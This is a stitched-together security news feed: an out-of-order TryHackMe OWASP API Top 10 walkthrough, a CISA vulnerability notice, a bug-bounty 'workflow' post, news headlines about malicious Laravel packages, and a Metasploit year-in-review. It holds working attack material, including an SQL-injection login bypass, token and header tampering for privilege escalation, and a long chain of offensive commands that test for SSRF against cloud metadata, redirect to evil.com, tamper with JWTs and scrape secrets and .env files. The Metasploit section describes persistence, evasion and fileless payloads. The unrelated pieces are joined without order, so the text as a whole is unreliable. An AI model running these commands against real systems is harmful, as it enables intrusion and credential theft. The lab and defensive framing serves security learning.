⚔️ Exploitation

We attempt to create a user but include a hidden field:

POST /apirule6/user

name=attacker&username=hacker&password=pass123&credit=1000

➡️ Here, credit should NOT be user-controlled.

➡️ But due to mass assignment, backend blindly accepts it.

💥 Impact

• Privilege escalation
• Data tampering
• Business logic abuse

🔐 Fix

• Use allowlist (fillable)
• Block sensitive fields (guarded)
• Never trust client-side input

✅ Result

Even when we send credit=1000, secure endpoint enforces:

➡️ Final credit → 50

📌 Task 3 — Vulnerability VII: Security Misconfiguration

🧠 Understanding the Vulnerability

Security misconfiguration happens when:

• Debug mode is enabled
• Error messages expose internals
• Default configs are not hardened

⚔️ Exploitation

Triggering an error:

GET /apirule7/ping_v

➡️ Instead of a clean response, we get full stack trace.

💥 Impact

• File paths exposed
• Internal architecture revealed
• Helps attackers plan targeted attacks

🔐 Fix

• Disable debug in production
• Implement proper error handling
• Hide stack traces

✅ Result

• HTTP Code → 500
• Error ID → 1401

📌 Task 4 — Vulnerability VIII: Injection

🧠 Understanding the Vulnerability

Injection occurs when user input is directly executed by backend queries.

👉 Classic example: SQL Injection

⚔️ Exploitation

We bypass login using:

POST /apirule8/user/login_v

username=admin&password=' OR 1=1--

➡️ ' OR 1=1-- makes condition always true ➡️ Authentication bypass achieved 🗿

💥 Impact

• Authentication bypass
• Data extraction
• Remote Code Execution (in severe cases)

🔐 Fix

• Parameterized queries
• Input validation
• ORM usage

✅ Result

Secure endpoint returns:

➡️ 403 Forbidden

📌 Task 5 — Vulnerability IX: Improper Assets Management

🧠 Understanding the Vulnerability

Old API versions often remain active and become forgotten attack surfaces.

⚔️ Exploitation

We target deprecated API:

POST /apirule9/v1/user/login

username=Alice&password=##!@#!!

➡️ Old API leaks extra sensitive data.

💥 Impact

• Sensitive data leakage
• Access to outdated insecure logic
• Potential full system compromise

🔐 Fix

• Remove deprecated APIs
• Maintain API inventory
• Use proper versioning

✅ Result

• Balance → 100
• Country → USA

📌 Task 6 — Vulnerability X: Insufficient Logging & Monitoring

🧠 Understanding the Vulnerability

If logging is weak or missing:

➡️ Attacks happen silently

➡️ No traceability

⚔️ Exploitation

Trigger logging endpoint:

GET /apirule10/logging

➡️ Logs metadata like IP, browser, etc.

💥 Impact

• No forensic evidence
• Delayed detection
• Persistent attacker presence

🔐 Fix

• Implement SIEM systems
• Log all critical actions
• Monitor anomalies

✅ Result

➡️ HTTP Response → 200

📌 Conclusion

This part highlights a crucial shift:

👉 From user-level vulnerabilities → backend/system-level failures

🧠 Final Insights

Across both parts, a pattern emerges:

• Trusting input → Injection / Mass Assignment
• Poor configs → Info leaks
• Legacy systems → Hidden attack surfaces
• No monitoring → Undetected breaches

🚀 Final Take

APIs don’t fail because they’re complex — they fail because developers trust too much and validate too little.

👋 Connect With Me

• GitHub: https://github.com/AdityaBhatt3010
• LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
• Medium: https://medium.com/@adityabhatt3010

🛡️ OWASP API Top 10 — TryHackMe Walkthrough (Part 2) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Lab: https://tryhackme.com/room/owaspapisecuritytop105w

📌 Task 1 — Introduction

🧠 What’s Happening

You’re basically spinning up a Windows VM + Talend API Tester + vulnerable Laravel app.

➡️ This environment is pre-configured for testing API vulnerabilities.

✅ Outcome

• Connected to VM successfully
• Tools auto-launched
• Ready for API testing

📌 Task 2 — Understanding APIs

🧠 Key Idea

API = bridge between applications.

• Client sends request
• Server responds
• Defined via API documentation

👉 APIs are core building blocks of modern apps

🚨 Real Breaches (Important Insight)

• LinkedIn → 700M users scraped via API
• Twitter → 5.4M users exposed
• PIXLR → 1.9M records leaked

➡️ Lesson: APIs = high-value attack surface

✅ Answers

• Sample records → 1 million
• API docs useless? → No (nay)

📌 Task 3 — BOLA (Broken Object Level Authorization)

🧠 Concept

API exposes data using IDs but doesn’t check who is requesting.

➡️ ID change = data leak

⚔️ PoC

Step 1 — Hit Vulnerable Endpoint

GET /apirule1_v/user/1

➡️ Returns user data without any auth check.

Step 2 — ID Enumeration

GET /apirule1_v/user/2

➡️ Just increment ID → access other users.

Step 3 — Extract Data

• Total employees → 3
• Flag (ID=2) → THM{838123}
• Username (ID=3) → Bob

⚠️ Why Vulnerable

• No authorization check
• Predictable IDs
• Direct object reference

🔐 Fix

• Authorization tokens
• Role validation
• Use UUIDs

📌 Task 4 — Broken User Authentication (BUA)

🧠 Concept

Login system is flawed — password not validated.

⚔️ PoC

Step 1 — Login with Only Email

POST /apirule2/user/login_v

email=hr@mht.com&password=anything

➡️ Login works even with wrong password 💀

Step 2 — Get Token

cOC%Aonyis%H)mZ&uJkuI?_W#4&m>Y

➡️ Token issued without proper auth.

Step 3 — Use Token

GET /apirule2/user/details
Authorization-Token: <token>

➡️ Full account takeover.

⚠️ Why Vulnerable

• SQL checks only email
• Password ignored
• Token issued blindly

🔐 Fix

• Validate password properly
• Use hashing (bcrypt)
• MFA + JWT

✅ Extra Answer

• GET request for creds? → No (nay)

📌 Task 5 — Excessive Data Exposure

🧠 Concept

API returns too much information, expecting frontend to filter.

➡️ Attacker intercepts raw response → gets secrets.

⚔️ PoC

Step 1 — Fetch Comment

GET /apirule3/comment_v/2

➡️ Returns full dataset including hidden fields.

Step 2 — Extract Sensitive Data

• Device ID → iOS15.411

Step 3 — Another Record

GET /apirule3/comment_v/3

➡️ Username → hacker#!

⚠️ Why Vulnerable

• Backend sends everything
• No filtering
• Trusting frontend

🔐 Fix

• Return minimal data
• Avoid generic serializers
• Validate API responses

✅ Answer

• Network-level fix only? → No (nay)

📌 Task 6 — Lack of Resources & Rate Limiting

🧠 Concept

No request limits → attackers can spam endpoints.

➡️ Leads to DoS or financial abuse.

⚔️ PoC

Step 1 — Send OTP

POST /apirule4/sendOTP_s
email=hr@mht.com

➡️ Response → 200

Step 2 — Invalid Email

POST /apirule4/sendOTP_s
email=sale@mht.com

Invalid Email

⚠️ Why Vulnerable

• No rate limiting
• Unlimited requests
• Resource exhaustion

🔐 Fix

• Rate limiting (time-based)
• CAPTCHA
• Request quotas

✅ Answer

• Rate limiting at network level? → Yes (yea)

📌 Task 7 — Broken Function Level Authorization

🧠 Concept

User can escalate privileges by manipulating request parameters.

⚔️ PoC

Step 1 — Send Admin Request

GET /apirule5/users_v
Authorization-Token: YWxpY2U6dGVzdCFAISM6Nzg5Nzg=
isAdmin: 1

➡️ Normal user accesses admin data 😶

Step 2 — Extract Data

• Alice mobile → +1235322323
• Admin flag → THM{3432$@#2!}

⚠️ Why Vulnerable

• Trusting client input (isAdmin)
• No backend role validation

🔐 Fix

• Enforce RBAC server-side
• Ignore client-controlled role fields

✅ Answer

• isAdmin in hidden field safe? → No (nay)

📌 Task 8 — Conclusion

🧠 What You Learned

This lab basically drills 5 core API failures:

1. BOLA → ID-based data leaks
2. BUA → Broken login logic
3. Data Exposure → Too much data returned
4. No Rate Limiting → Abuse possible
5. Function Auth → Privilege escalation

🧾 Final Take (Important)

👉 APIs fail mainly due to trust assumptions:

• Trusting IDs → BOLA
• Trusting login → BUA
• Trusting frontend → Data leak
• No limits → Abuse
• Trusting user roles → Admin bypass

👋 Outro

If this helped, connect here:

• GitHub: https://github.com/AdityaBhatt3010
• LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
• Medium: https://medium.com/@adityabhatt3010

More writeups soon — cleaner, deeper, and slightly unhinged 🗿🔥

OWASP API Security Top 10 (Part 1) — TryHackMe Walkthrough 🛡️ was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

A False Sense of Security That Your Code Probably Has Right Now

Continue reading on InfoSec Write-ups »

Why Global Scopes Fail When You Chain orWhere Without a Closure

Continue reading on InfoSec Write-ups »

Read more →

The post U.S. CISA adds Apple, Laravel Livewire and Craft CMS flaws to its Known Exploited Vulnerabilities catalog appeared first on IT Security News.

Dieser Beitrag CISA fordert Sicherheitsupdates für Apple, Craft CMS und Laravel erschien als erstes auf IT BOLTWISE® x Artificial Intelligence.

• CVE-2025-31277 Apple Multiple Products Buffer Overflow Vulnerability
• CVE-2025-32432 Craft CMS Code Injection Vulnerability
• CVE-2025-43510 Apple Multiple Products Improper Locking Vulnerability
• CVE-2025-43520 Apple Multiple Products Classic Buffer Overflow Vulnerability
• CVE-2025-54068 Laravel Livewire Code Injection Vulnerability

These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.

Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.

Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria. 

From zero attack surface to critical vulnerability report the exact workflow I built as a beginner that still works today

When I started bug bounty hunting, I had no system.

I would open a target, randomly poke around, find nothing, and give up after 2 hours. Sound familiar?

The turning point came when I stopped exploring and started executing — following a repeatable, structured workflow every single time.

This is that workflow. Every command. Every tool. Every step.

Copy it, customize it, own it. 🐛

The Big Picture

Before diving into commands, understand the flow:

Attack Surface Mapping
        ↓
Vulnerability Hunting
        ↓
Business Logic & API Hacking
        ↓
Secrets & Sensitive Data
        ↓
Reporting & Proof

You don’t skip steps. You don’t jump to exploitation before recon. The hunters who skip recon are the ones who find nothing.

Tools You Need First

Install everything before starting:

# ProjectDiscovery Suite (Go required)
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/katana/cmd/katana@latest
go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Other essentials
pip install sqlmap
npm install -g jwt-tool
go install github.com/tomnomnom/anew@latest
go install github.com/tomnomnom/gf@latest
go install github.com/lc/gau/v2/cmd/gau@latest
go install github.com/jaeles-project/gospider@latest

Step 1 — Attack Surface Mapping (Recon)

This is where 80% of your success is decided. The bigger your attack surface, the more chances you have to find something.

1.1 Subdomains Dhundho (4 Sources)

Never rely on one source. Different tools find different subdomains:

assetfinder --subs-only target.com | tee subs.txt
subfinder -d target.com -all -silent | anew subs.txt
amass enum -passive -d target.com | anew subs.txt
curl -s "https://crt.sh/?q=%.target.com" | grep -E "target.com" \
  | cut -d '>' -f2 | cut -d '<' -f1 | anew subs.txt

Why 4 sources? Assetfinder finds subdomains that Subfinder misses. Amass finds what both miss. Certificate Transparency logs (crt.sh) reveal subdomains that were never meant to be public. Together, you get 90%+ coverage.

1.2 Live Hosts Check (Ports + Tech Stack)

Not all subdomains are alive. Filter the dead ones:

cat subs.txt | httpx -silent \
  -ports 80,443,8080,8443,3000 \
  -status-code -title -tech-detect -cdn \
  -o alive_hosts.txt

cat alive_hosts.txt | awk '{print $1}' > alive_urls.txt

The -tech-detect flag is gold — it tells you if a host is running WordPress, Laravel, Spring Boot, etc. Knowing the tech stack tells you exactly which CVEs and misconfigs to test.

1.3 — URLs Collect Karo (5x Depth)

Now spider every live host for URLs past, present, and hidden:

# Active crawling (5 levels deep)
cat alive_urls.txt | katana -silent -d 5 -jc -kf \
  -em js,png,jpg,css -o katana_urls.txt

# Historical URLs from Wayback Machine
waybackurls target.com | anew wayback_urls.txt
# GAU (Get All URLs) - indexes multiple sources
gau target.com | anew gau_urls.txt
# Full spider with GoSpider
gospider -s "https://target.com" -o gospider_out -t 20
# Merge everything, remove noise
cat *_urls.txt gospider_out/* | sort -u \
  | grep -vE '\.(css|jpg|png)' | anew all_urls.txt

At this point you might have 10,000–50,000 URLs. That’s your hunting ground.

Step 2 — Vulnerability Hunting (Auto + Manual)

2.1 Parameters Extract Karo

Find every injectable parameter across all collected URLs:

# Extract all parameter names
cat all_urls.txt | grep "=" | sed 's/.*?//' \
  | cut -d '=' -f1 | sort -u > params.txt

# GF patterns (Tomnomnom's magic)
gf xss all_urls.txt > xss_candidates.txt
gf sqli all_urls.txt > sqli_candidates.txt

2.2 XSS Testing (DOM + Reflected)

# Dalfox — best automated XSS scanner
cat xss_candidates.txt | dalfox pipe \
  --skip-bav --skip-mining-all \
  --waf-evasion -o xss_confirmed.txt

# Nuclei XSS templates
nuclei -l alive_urls.txt \
  -t ~/nuclei-templates/xss/ \
  -severity medium,high \
  -o nuclei_xss.txt

2.3 SQLi (Error-Based + Blind)

# SQLMap with evasion techniques
sqlmap -m sqli_candidates.txt --batch \
  --level=5 --risk=3 --random-agent \
  --tamper=between,charencode \
  --output-dir=sqlmap_logs

# Nuclei SQLi templates
nuclei -l alive_urls.txt \
  -t ~/nuclei-templates/sql-injection/ \
  -severity critical \
  -o nuclei_sqli.tx

2.4 SSRF / Open Redirect

# AWS Metadata SSRF test
cat all_urls.txt \
  | qsreplace "http://169.254.169.254/latest/meta-data" \
  | httpx -silent -path "/latest/meta-data" \
    -match-string "instance-id" \
  -o ssrf_aws.txt

# Open Redirect test
cat all_urls.txt \
  | qsreplace "https://evil.com" \
  | httpx -fr -silent -match-string "evil.com" \
  -o redirects.txt

2.5 RCE / SSTI (Critical Vulns)

# Nuclei RCE templates
nuclei -l alive_urls.txt \
  -t ~/nuclei-templates/rce/ \
  -severity critical \
  -o rce_results.txt

# Template injection with Tplmap
tplmap -u 'https://target.com/profile?name=*' \
  --engine asterisk -o tplmap_report.txt

Step 3 Business Logic & API Hacking

This is where automation ends and thinking begins. No tool finds business logic bugs — only you can.

3.1 Auth Bypass (JWT/Cookies)

# JWT manipulation — try privilege escalation
jwt_tool <JWT_TOKEN> -T -cv "admin:true"

# Cookie manipulation
curl -X POST https://target.com/login \
  -H "Cookie: session=invalid" \
  --data '{"admin":1}'

3.2 IDOR / UUID Prediction

# Generate time-based UUIDs (UUIDv1 is predictable!)
for i in {1..100}; do uuidgen -t; done > uuids.txt

# Test them against API endpoints
curl -s "https://target.com/api/user/$(sed -n 1p uuids.txt)"

Why does this work? UUIDv1 is time-based and sequential. If a developer used UUIDv1 thinking it was “unguessable,” you can predict neighboring UUIDs and access other users’ data — classic IDOR.

3.3 GraphQL Introspection

# Check if schema introspection is enabled (should be disabled in production)
curl -X POST https://target.com/graphql \
  -d '{"query":"query {__schema{queryType{name}}}"}'

If this returns schema data, the API is fully exposed. Map every query, mutation, and field — then test each one for authorization flaws.

Step 4 — Secrets & Sensitive Data

4.1 JS Files se API Keys

cat all_urls.txt | grep "\.js$" | httpx -silent \
  | xargs -I % sh -c 'echo % && curl -s % \
  | grep -Eo "(api|key|token|secret|password)=[\"'"'"'][^\"'"'"']+[\"'"'"']"'

JavaScript files are treasure chests. Developers hardcode API keys, internal endpoints, and credentials in JS files all the time — and forget them.

4.2 Git / Env Files

# Exposed .git/config
cat alive_urls.txt | httpx -path "/.git/config" -mc 200 -o git_exposed.txt
# Exposed .env files
cat alive_urls.txt | httpx -path "/.env" -mc 200 -o env_files.txt

Finding an exposed .env file is an instant Critical. It typically contains DB_PASSWORD, AWS_SECRET_KEY, STRIPE_SECRET, and more.

Step 5 Reporting & Proof

Your finding is only as good as your report. A vague report gets closed as “Informational.” A detailed report with proof gets paid.

5.1 Screenshots (Visual Proof)

gowitness file -f alive_urls.txt -P screenshots/

5.2 Auto-Generate Report (CSV Format)

echo "Vulnerability,URL,Payload,Impact" > report.csv
cat xss_confirmed.txt | awk '{print "XSS," $1 ",payload=alert(1),High"}' >> report.csv
cat ssrf_aws.txt | awk '{print "SSRF," $1 ",AWS Metadata,Critical"}' >> report.csv

One-Line Full Scan (For Speed)

When you want a quick critical-only scan on a new target:

subfinder -d target.com | httpx -silent \
  | nuclei -t ~/nuclei-templates/ \
  -severity critical -o critical_vulns.txt

Run this first. If Nuclei finds something critical immediately, investigate it. If not, go through the full workflow above.

My 5 Advanced Rules

These rules came from real experience — bugs I almost missed:

1. “Boring” Endpoints Pe Focus Karo

Most hunters ignore these. That’s exactly why they’re valuable:

• /health — sometimes exposes internal service data
• /metrics — Prometheus metrics, internal stats
• /phpinfo.php — server configuration leak
• /console — sometimes an open admin console

2. Headers Ke Saath Khelo

X-Forwarded-Host: evil.com
X-Original-URL: /admin
X-Forwarded-For: 127.0.0.1

Many applications trust these headers blindly — leading to SSRF, access control bypass, and cache poisoning.

3. Parameter Pollution Test Karo

?id=123&id=456

Which ID does the server use — the first, the last, or both? This simple test has led to IDOR bypasses worth thousands of dollars.

4. Error Messages Padho

• MySQL error → SQLi possible
• Stack trace → Full framework and path disclosure
• “Access denied for user ‘root’” → Database credentials in error!

Never dismiss an error message. It’s the application telling you its secrets.

5. Automation 90%

Automate the scanning. Manually investigate the results. For every 10 URLs your tools flag, manually test 1 in depth. The automation finds the leads — your brain closes the deal.

Final Thought

This workflow took me months to build, dozens of failed hunts to refine, and real bug bounty submissions to validate.

It’s not magic. It’s a system.

The hunters who earn consistently are not smarter than you — they just have better systems and run them more consistently.

Save this. Run it. Improve it. Make it yours.

Happy hunting. 🐛

I’m @HackerMD cybersecurity researcher and bug bounty hunter from India. Follow for real workflows, real writeups, and no fluff.

My Complete Bug Bounty Hunting Workflow Every Command I Use, Step by Step was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post 6 Malicious Packagist Themes Ship Trojanized jQuery in OphimCMS Supply Chain Attack appeared first on Cyber Security News.

The post Packagist Themes Deliver Trojanized jQuery in OphimCMS Supply Chain Attack appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post Six Malicious Packagist Themes Deliver Trojanized jQuery Payloads appeared first on Cyber Security News.

The post FreeScout vulnerability enables unauthenticated, zero-click RCE via email (CVE-2026-28289) appeared first on Help Net Security.

The post Malicious Laravel Packages Deploy PHP RAT, Compromise Web Servers appeared first on Cyber Security News.

Dieser Beitrag Gefälschte Laravel-Pakete verbreiten gefährlichen RAT erschien als erstes auf IT BOLTWISE® x Artificial Intelligence.

Read more →

The post Fake Laravel Packages on Packagist Deploy RAT on Windows, macOS, and Linux appeared first on IT Security News.

Read more →

The post Malicious Packages Disguised as Laravel Utilities Deploy PHP RAT and Enables Remote Access appeared first on IT Security News.

The post Malicious Packages Disguised as Laravel Utilities Deploy PHP RAT and Enables Remote Access appeared first on Cyber Security News.

Read more →

The post Malicious Laravel Packages Deploy PHP RAT, Grant Remote Access to Attackers appeared first on IT Security News.

Read more →

The post Livewire Filemanager Vulnerability Exposes Web Applications to RCE Attacks appeared first on IT Security News.

The post Livewire Filemanager Vulnerability Exposes Web Applications to RCE Attacks appeared first on Cyber Security News.

This year brought its share of notable vulnerabilities, substantial framework improvements, and continued evolution of the project. Whether you submitted a module, filed an issue, or helped triage a bug, your contributions have kept Metasploit relevant and powerful. So without further ado, let's dive into the highlights from 2025.

Persistence Overhaul

One of the year's significant infrastructure improvements came from community contributor h00die, who spearheaded a massive refactor of Metasploit's persistence modules. The project, tracked in issue #20374, involved reorganizing dozens of persistence modules from their scattered locations across the framework into a dedicated persistence directory under exploits. This wasn't just housekeeping—h00die created a standardized persistence mixin that brought consistency to how modules handle installation, cleanup, and option handling. The refactor touched over 30 modules spanning Linux, Windows, OSX, and multi-platform techniques, modernizing each one with proper check methods, MITRE ATT&CK references, and standardized options like WritableDir. The work also laid the groundwork for a persistence suggester module that can automatically recommend viable persistence techniques based on session characteristics.

The sheer scope of this effort can't be overstated. Breaking the work into manageable chunks, h00die systematically converted modules from the old post-exploitation style to proper exploit modules with the new persistence mixin, handling everything from cron jobs and SSH keys to Windows registry modifications and service installations. The standardization means that all persistence modules now share common behaviors, produce cleanup scripts in a consistent format, and integrate cleanly with the rest of the framework. It's the kind of unglamorous but essential work that improves the entire framework's usability and maintainability, and we're grateful to h00die for taking on such an ambitious project and seeing it through.

AD CS Vulnerable Certificate Template Detection and Exploitation Additions

This year, Metasploit expanded its Active Directory Certificate Services (AD CS) coverage by adding detection and exploitation support for certificate templates vulnerable to ESC9, ESC10, and ESC16. Checks for these misconfigured certificate templates were integrated into the existing ldap_esc_vulnerable_template module, allowing users to easily identify misconfigured templates during assessments.

To complement this detection capability, we introduced the new esc_update_ldap_object module, which enables reliable exploitation of these vulnerable templates to escalate privileges. ESC9, ESC10, and ESC16 share a common pattern: each requires control of a user account with write privileges over another user that is permitted to enroll in the vulnerable template. While exploiting these techniques with other tools typically involves multiple manual and error-prone steps, the new module streamlines the entire workflow. Users configure the required datastore options, run the module, and receive a certificate that can be used to escalate privileges within the domain.

As part of this effort, we also introduced the ldap_object_attribute module, which provides standard CRUD operations for manipulating LDAP objects in Active Directory. This module — along with existing functionality such as shadow_credentials and get_ticket — is used internally by esc_update_ldap_object to abstract away low-level LDAP interactions and simplify exploitation.

This work included comprehensive documentation covering the configuration of templates vulnerable to ESC9, ESC10, and ESC16, as well as detailed instructions for exploiting each technique using the new module.

Active Directory Improvements

Related to our AD CS improvements, came new low-level functionality for interacting with Active Directory (AD) Domain Controllers over LDAP. Over the past couple of years, Metasploit has seen multiple modules added that facilitate AD attack workflows including Shadow Credentials, RBCD, Unconstrained Delegation, etc. Like the AD CS attacks, many of these techniques are reliant on access control to some degree. Over the summer, Metasploit introduced new functionality to facilitate checking for these types of attacks. This new library provides Active Directory specific functionality, most notably, the ability to remotely evaluate security descriptors to determine whether a particular user or group has a specific access right. This has already been incorporated into the following modules to either enable or improve the existing detection capabilities.

• auxiliary/admin/ldap/shadow_credentials
• auxiliary/admin/ldap/rbcd
• auxiliary/admin/ldap/ad_cs_cert_template
• auxiliary/gather/ldap_esc_vulnerable_cert_finder

For module authors, the library provides a composable API for determining if an object grants a particular permission to an optional SID. The SID can be either a user or group, and when omitted is automatically set to the authenticating user, i.e. to check if the current connection has the permissions.

For example, check if the object grants the read and write property permissions with:

Code Cleanup At Scale

Beyond new features and modules, 2025 also saw substantial code quality improvements thanks to community contributor bcoles, who took on the often-thankless task of resolving RuboCop violations across the codebase. Throughout the year, bcoles systematically worked through older modules, cleaning up style inconsistencies, fixing syntax violations, and converting outdated property types to proper boolean values in auxiliary scanners and exploit modules. This kind of incremental maintenance work—fixing redundant parentheses here, resolving style violations there—doesn't make for flashy headlines, but it keeps the codebase maintainable and makes life easier for everyone working in the framework. Code quality matters, and we're grateful to bcoles for putting in the work to keep Metasploit's technical debt in check.

Payload Improvements

It may be a fun fact, or perhaps tribal knowledge that an “exploit” to Metasploit is a module that delivers a payload. All the great exploit content this year would be nothing without corresponding payloads to deliver and we make sure that those get plenty of our time as well. The following changes in particular are highly impactful and may have gone unnoticed while the flashier exploits received all the attention.

Windows Meterpreter Improvements

The biggest updates for the Windows Meterpreter revolve around two major improvements: the first is the upgrade to ReflectiveDLLInjection, made by Alex (xaitax) Hagenah, for which we express our gratitude for improving this area of the Metasploit Framework that requires a high level of attention to detail. This update introduces full, production-ready ARM64 support and a comprehensive architectural modernization of the whole library. These changes open the door to future support for a native ARM64 Meterpreter on Windows. Additionally, Metasploit split the standard API extension for Windows this year. This was actually the design used in the original Meterpreter implementation and we’ve reconsidered the monolithic approach. This improvement is one of the multiple steps we have in the pipeline to improve the evasion capabilities for our Windows Meterpreter. The standard API library now allows the user to load only specific subcomponents of the extension (for example, the component for network or file-system interaction), reducing the memory footprint for memory scanners. To leverage this new functionality, set AutoLoadStdapi to False, and then load one or more extensions manually, e.g. load stdapi_fs. To maintain backwards compatibility, a single stdapi extension is also still available and can be loaded with load stdapi.

Fetch Payload Improvements

The first milestone was the introduction of fileless execution for Linux fetch payloads, enabling payloads to run directly from memory using anonymous files. This advancement greatly enhances operational stealth by minimizing forensic traces and avoiding file-based detection, with careful attention to safe, opt-in behavior and collaborative code refinement. Following this, the FETCH_PIPE option streamlined payload deployment into a single, compact command. This improvement enhanced both usability and evasion, while also supporting larger, more complex command payloads (such as fileless execution) to be executed even with reduced command size. Additionally, fetch payload support has expanded to seven additional CPU architectures: aarch64, armbe, armle, mipsbe, mipsle, ppc, and ppc64le. This significantly broadens Metasploit's reach across embedded and legacy systems. Both features are thoroughly tested and future-proof, making the framework more versatile and powerful.

New Architectures Basic Support

This year, we have also updated the framework to support new basic payloads. We have introduced the exec payload for Windows ARM64 (provided by Alex (xaitax) Hagenah), reverse shell for RISC-V 32 and 64 bit, and Loongarch64 (both provided by bcoles).

COMING SOON

As much as we try, everything doesn’t always fit into one year. With that in mind, we wanted to highlight some upcoming features that we’re particularly excited to complete in the coming months.

Malleable C2

The malleable c2 will allow the user to specify with a .profile scribing how the HTTP requests between meterpreter and metasploit-framework should look like, allowing metasploit to hide the distinctive traffic generated by the session communication.

Direct Syscall in Metsrv

We have updated the Meterpreter core (metsrv) to remove common static signatures, such as specific strings and function imports, making it harder to detect.

PoolParty for 32-bit systems

Additional work to port the poolparty injection on native 32 bit system, Huge thanks to xHector1337 for taking over the research and extension of the code injection for the new architecture.

SCCM Modules

This year, Metasploit added two modules for targeting SCCM instances and recovering the Network Access Account credentials. These modules differ in how they perform the authentication. The first, auxiliary/admin/sccm/get_naa_credentials accepts credentials from the operator and will use them to authenticate and run the attack on demand. This pairs nicely with the auxiliary/admin/dcerpc/samr_account module when the operator can create a new machine account. However, when that’s not an option, Metasploit still has you covered with the auxiliary/server/relay/relay_get_naa_credentials variant that enables relaying NTLM authentication from an SMB server. These attack workflows were demonstrated at Black Hat and DEF CON over the summer and we anticipate they’ll remain useful in the future.

Module Highlights

• CVE-2025-9316, CVE-2025-11700 N-able N-Central XXE – N-able N-Central is a popular Remote Monitoring and Management (RMM) platform. These two vulnerabilities, when combined, enable Metasploit to read local files without authenticating. This can be used to obtain a number of sensitive backup files from the application itself, or anything else on the host system. XXE attacks are a less common vulnerability, at least in Metasploit-land but this is a fantastic example of how impactful they can be.
• CVE-2025-22457 Ivanti Connect Secure Unauthenticated RCE – Ivanti RCEs are always valuable and this module shows that memory corruption lives on in 2025. Not only is this exploit unauthenticated and reliable, it is a great example of how ROP chains can be used.
• CVE-2024-55555 Invoice Ninja RCE – This particular module leverages a PHP deserialization vulnerability within the application. While this vulnerability requires knowledge of the APP_KEY, successful exploitation could have significant financial implications. As an added bonus, this module came with a new library adding support for Laravel Framework-specific cryptography methods.
• CVE-2024-55556 InvoiceShelf RCE – Everyone loves a good pairing, and this module continues h00die-gr3y’s work on invoicing software, showing that they’re useful for receiving more than just payments.
• LDAP Password Disclosure – This module has been around for a while, but received some new features in 2025 for targeting Active Directory Domain Controllers. The first added support for LAPSv1 and v2, enabling the module to recover the local admin account on systems. Later in the year, a second improvement added support for gMSA accounts. This module also pairs nicely with the new SMB to LDAP NTLM Relay module we added this year as well.
• Microsoft SharePoint ToolPane Unauthenticated RCE (CVE-2025-53770 and CVE-2025-53771)
• Exploit module for CVE-2025-32433 (Erlang/OTP)

SMB Relay Expansion

This year, Metasploit significantly leveled up its relaying capabilities, transforming the framework’s only SMB to SMB relay capability into a powerful engine for lateral movement. Traditionally, SMB relaying was often the domain of standalone external tools, but through the dedicated work of the Metasploit team, these workflows are now seamlessly integrated into the framework

• SMB to LDAP relay module
• SMB to MSSQL NTLM Relay module

Community Stats Recap

A huge thank you from the entire Metasploit team to all 66 contributors in 2025. Your contributions and ideas are what continue to improve this tool every year. Notably, 41 of these were first-time contributors who added new code.

Here are some stats for 2025:

• Number of new modules: 139
• Number of new bug fixes: 133
• Number of new enhancements: 115
• Number of new documentations: 19
• Number of new payload enhancements: 18

Contributors in 2025 (ordered by count)

• bcoles
• h00die
• Chocapikk
• h00die-gr3y
• Takahiro-Yoko
• h4x-x0r
• smashery
• vognik (new in 2025)
• jvoisin
• xHector1337 (new in 2025)
• jmartin-tech
• mariomontecatine (new in 2025)
• blue0x1 (new in 2025)
• nakkouchtarek (new in 2025)
• molecula2788
• xaitax
• happybear-21 (new in 2025)
• e2002e
• fabpiaf (new in 2025)
• mekhalleh
• JohannesLks (new in 2025)
• BitTheByte (new in 2025)
• todb
• 00nx (new in 2025)
• DevBuiHieu (new in 2025)
• SweilemCodes (new in 2025)
• arpitjain099 (new in 2025)
• L-codes
• Zeecka (new in 2025)
• aaryan-11-x
• whotwagner
• lafried (new in 2025)
• sebaspf (new in 2025)
• hantwister (new in 2025)
• tastyrce (new in 2025)
• easymoney322 (new in 2025)
• gardnerapp
• TheBigStonk (new in 2025)
• 0xAryan (new in 2025)
• sempervictus
• szymonj99
• Mathiou04
• vultza (new in 2025)
• enty8080 (new in 2025)
• SaiSakthidar (new in 2025)
• Zedeldi (new in 2025)
• stfnw (new in 2025)
• mmacfadden (new in 2025)
• daffainfo (new in 2025)
• HamzaSahin61 (new in 2025)
• survivant (new in 2025)
• uhei
• EchoSl0w (new in 2025)
• jeffmcjunkin
• BenoitDePaoli (new in 2025)
• randomstr1ng
• 2tunnels (new in 2025)
• rodolphopivetta (new in 2025)
• RakRakGaming (new in 2025)
• Desiree05 (new in 2025)
• Wopseeion (new in 2025)
• jphamgithub (new in 2025)
• H4k1l (new in 2025)
• fishBone000 (new in 2025)
• xl4635 (new in 2025)

The post Livewire Flaw Puts Millions of Laravel Apps at Risk of RCE Attacks appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post LaRecipe Tool with 2.3M Downloads Found Vulnerable to Full Server Takeover appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post Laravel APP_KEY Flaw Exploited to Trigger Remote Code Execution on Hundreds of Apps appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

